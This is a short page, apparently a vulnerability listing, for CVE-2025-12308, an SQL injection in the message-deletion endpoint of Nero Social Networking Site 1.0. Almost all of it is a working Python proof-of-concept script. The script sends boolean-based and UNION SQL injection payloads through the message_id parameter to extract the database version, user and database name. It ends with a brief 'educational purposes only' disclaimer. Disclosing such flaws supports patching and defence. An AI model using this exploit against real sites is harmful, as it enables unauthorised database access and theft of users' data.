CVE-2025-12308 Nero Social Networking Site 1.0 /deletemessage.php SQL注入漏洞

import requests import sys # CVE-2025-12308 SQL Injection PoC # Target: Nero Social Networking Site 1.0 # Vulnerable File: /deletemessage.php # Parameter: message_id def exploit_sqli(target_url, message_id_payload): """ Exploit SQL injection vulnerability in /deletemessage.php Args: target_url: Base URL of the vulnerable application message_id_payload: Malicious SQL payload for message_id parameter Returns: Response from the server """ # Construct the vulnerable endpoint endpoint = f"{target_url}/deletemessage.php" # Prepare the payload with malicious message_id params = { 'message_id': message_id_payload } try: # Send GET request (or POST depending on implementation) response = requests.get(endpoint, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_12308.py <target_url>") print("Example: python cve_2025_12308.py http://localhost/nero-social") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] CVE-2025-12308 SQL Injection Tester") print(f"[*] Target: {target}") # Test basic injection to confirm vulnerability # Boolean-based blind SQL injection payload payload = "1' AND 1=1 ---" print(f"\n[*] Testing payload: {payload}") resp = exploit_sqli(target, payload) if resp: print(f"[+] Response Status: {resp.status_code}") print(f"[+] Response Length: {len(resp.text)}") # Example: Extract database version using UNION injection union_payload = "1' UNION SELECT NULL,version(),user(),database() ---" print(f"\n[*] Testing UNION payload: {union_payload}") resp = exploit_sqli(target, union_payload) if resp: print(f"[+] Response Status: {resp.status_code}") print("\n[!] This is a PoC for educational purposes only.") print("[!] Always obtain proper authorization before testing.") if __name__ == "__main__": main()